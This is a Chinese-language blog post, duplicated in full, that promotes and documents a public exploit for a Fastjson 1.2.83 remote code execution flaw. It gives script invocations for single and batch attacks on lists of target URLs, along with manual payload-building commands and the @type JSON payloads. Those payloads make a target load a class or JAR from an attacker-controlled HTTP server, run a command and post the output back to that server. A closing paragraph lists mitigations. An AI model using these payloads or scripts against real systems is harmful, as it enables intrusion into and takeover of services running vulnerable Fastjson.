前言这周安全圈最热闹的事莫过于Fastjson 1.2.83 RCE了。Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库凭借出色的解析速度和简洁的 API 设计在国内 Java 生态中占据主导地位广泛应用于企业后端服务、微服务网关、数据接口层等核心业务场景。它支持将 Java 对象序列化为 JSON 字符串也可以将 JSON 字符串反序列化为 Java 对象被大量国内企业和开发者集成到各类 Web 应用、API 接口和中间件系统中堪称 Java 领域使用最广泛的 JSON 处理组件之一。也正因为它用得人多每一次 Fastjson 出问题都是一次全网排查级别的大事件。而这一次从研究员发推披露到完整 EXP 公开只用了三天。Fastjson 1.2.83getResourceAsStreamgadget RCE poc。poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。默认 payload 执行id并 POST 回攻击端/out用于确认命令执行结果。完整的可jdk高版本复现的公开exp诞生项目链接https://www.hacktwohub.com/6059.html快速使用单个 HTTP 目标scripts/http-test.sh 攻击端IP 攻击端HTTP端口 目标URL [接口路径]示例scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse脚本会自动尝试jdk8-httpfd成功时输出类似[] fd: ID-OOB OK [] OOB POST /out from target_ip uid0(root) gid0(root) groups0(root)批量 HTTP 目标urls.txt每行一个完整接口http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json运行scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt也可以每行写服务根地址统一追加接口路径http://10.0.0.8:8080 http://10.0.0.9:8080scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse批量结果会输出到/tmp/fastjson-batch-*/results.jsonl完整日志在同目录下。Docker 本地验证本地启动多个 JDK 靶场容器并通过 HTTP 打/parseHOST_IP192.168.65.254 JDKS8 17 21 25 ./scripts/test-jdks.shDocker Desktop 上HOST_IP通常是192.168.65.254如果不通换成容器能访问宿主机的 IP。手动构建 Payloadbash scripts/build.sh 攻击端IP 攻击端HTTP端口 id-oob 模式示例bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20模式jdk8-httpfd漏洞原理Fastjson 1.2.83 在 ParserConfig.checkAutoType 中会根据 type 拼接 class resource String resource typeName.replace(., /) .class; is defaultClassLoader.getResourceAsStream(resource);因此特殊type可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource便可能请求攻击端 HTTP server 并加载带JSONType的 class。触发过程攻击者发送包含特殊type的 JSON。Fastjson 把.替换成/进入getResourceAsStream探测。目标请求攻击端 HTTP server 下载 class/JAR。JSONType影响 AutoType 判定路径。命中loadClass/ 实例化后执行恶意 class 的clinit。IPv4 会转成十进制格式例如192.168.65.254 - 3232252414这样可以避免 IP 里的.被替换成/。JDK 版本区别模式适用场景行为本机结果jdk8-httpJDK8 Spring Boot 2 FatJar直接拉取/a.class并加载JDK 8u492 成功fdJDK17/21 Spring Boot 3 FatJar先拉取/probe再枚举/proc/self/fd/N加载 JAR 内 classJDK 17.0.19、21.0.11 成功fdJDK25 Spring Boot 3 FatJar可拉取/probe但未收到命令回显JDK 25.0.3 未成功JDK8 短链使用{type:http:..3232252414:19090.a}转换后http://192.168.65.254:19090/a.classJDK17/21 FD 链使用[ {type:jar:http:..3232252414:19090.probe!.foo.Exception}, {type:jar:file:.proc.self.fd.3!.fd3.Exception}, {type:jar:file:.proc.self.fd.4!.fd4.Exception} ]转换后jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class只看到/probe或/a.class请求只能说明目标能访问攻击端资源不代表 RCE 成功以/out的uid/gid回传为准。影响条件Fastjson 1.2.83未启用-Dfastjson.parser.safeModetrue服务端解析不可信 JSON 中的type目标 ClassLoader 支持对应 resource 加载路径目标能访问攻击端 HTTP server防护启用 SafeMode-Dfastjson.parser.safeModetrue升级到 fastjson2禁止不可信 JSON 使用type限制业务 JVM 出网审计 FatJar/ClassLoader 对远程 URL resource 的解析行为
【已复现】Fastjson 1.2.83 Gadget 黑名单失效--Fastjson 1.2.83 远程代码执行
前言这周安全圈最热闹的事莫过于Fastjson 1.2.83 RCE了。Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库凭借出色的解析速度和简洁的 API 设计在国内 Java 生态中占据主导地位广泛应用于企业后端服务、微服务网关、数据接口层等核心业务场景。它支持将 Java 对象序列化为 JSON 字符串也可以将 JSON 字符串反序列化为 Java 对象被大量国内企业和开发者集成到各类 Web 应用、API 接口和中间件系统中堪称 Java 领域使用最广泛的 JSON 处理组件之一。也正因为它用得人多每一次 Fastjson 出问题都是一次全网排查级别的大事件。而这一次从研究员发推披露到完整 EXP 公开只用了三天。Fastjson 1.2.83getResourceAsStreamgadget RCE poc。poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。默认 payload 执行id并 POST 回攻击端/out用于确认命令执行结果。完整的可jdk高版本复现的公开exp诞生项目链接https://www.hacktwohub.com/6059.html快速使用单个 HTTP 目标scripts/http-test.sh 攻击端IP 攻击端HTTP端口 目标URL [接口路径]示例scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse脚本会自动尝试jdk8-httpfd成功时输出类似[] fd: ID-OOB OK [] OOB POST /out from target_ip uid0(root) gid0(root) groups0(root)批量 HTTP 目标urls.txt每行一个完整接口http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json运行scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt也可以每行写服务根地址统一追加接口路径http://10.0.0.8:8080 http://10.0.0.9:8080scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse批量结果会输出到/tmp/fastjson-batch-*/results.jsonl完整日志在同目录下。Docker 本地验证本地启动多个 JDK 靶场容器并通过 HTTP 打/parseHOST_IP192.168.65.254 JDKS8 17 21 25 ./scripts/test-jdks.shDocker Desktop 上HOST_IP通常是192.168.65.254如果不通换成容器能访问宿主机的 IP。手动构建 Payloadbash scripts/build.sh 攻击端IP 攻击端HTTP端口 id-oob 模式示例bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20模式jdk8-httpfd漏洞原理Fastjson 1.2.83 在 ParserConfig.checkAutoType 中会根据 type 拼接 class resource String resource typeName.replace(., /) .class; is defaultClassLoader.getResourceAsStream(resource);因此特殊type可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource便可能请求攻击端 HTTP server 并加载带JSONType的 class。触发过程攻击者发送包含特殊type的 JSON。Fastjson 把.替换成/进入getResourceAsStream探测。目标请求攻击端 HTTP server 下载 class/JAR。JSONType影响 AutoType 判定路径。命中loadClass/ 实例化后执行恶意 class 的clinit。IPv4 会转成十进制格式例如192.168.65.254 - 3232252414这样可以避免 IP 里的.被替换成/。JDK 版本区别模式适用场景行为本机结果jdk8-httpJDK8 Spring Boot 2 FatJar直接拉取/a.class并加载JDK 8u492 成功fdJDK17/21 Spring Boot 3 FatJar先拉取/probe再枚举/proc/self/fd/N加载 JAR 内 classJDK 17.0.19、21.0.11 成功fdJDK25 Spring Boot 3 FatJar可拉取/probe但未收到命令回显JDK 25.0.3 未成功JDK8 短链使用{type:http:..3232252414:19090.a}转换后http://192.168.65.254:19090/a.classJDK17/21 FD 链使用[ {type:jar:http:..3232252414:19090.probe!.foo.Exception}, {type:jar:file:.proc.self.fd.3!.fd3.Exception}, {type:jar:file:.proc.self.fd.4!.fd4.Exception} ]转换后jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class只看到/probe或/a.class请求只能说明目标能访问攻击端资源不代表 RCE 成功以/out的uid/gid回传为准。影响条件Fastjson 1.2.83未启用-Dfastjson.parser.safeModetrue服务端解析不可信 JSON 中的type目标 ClassLoader 支持对应 resource 加载路径目标能访问攻击端 HTTP server防护启用 SafeMode-Dfastjson.parser.safeModetrue升级到 fastjson2禁止不可信 JSON 使用type限制业务 JVM 出网审计 FatJar/ClassLoader 对远程 URL resource 的解析行为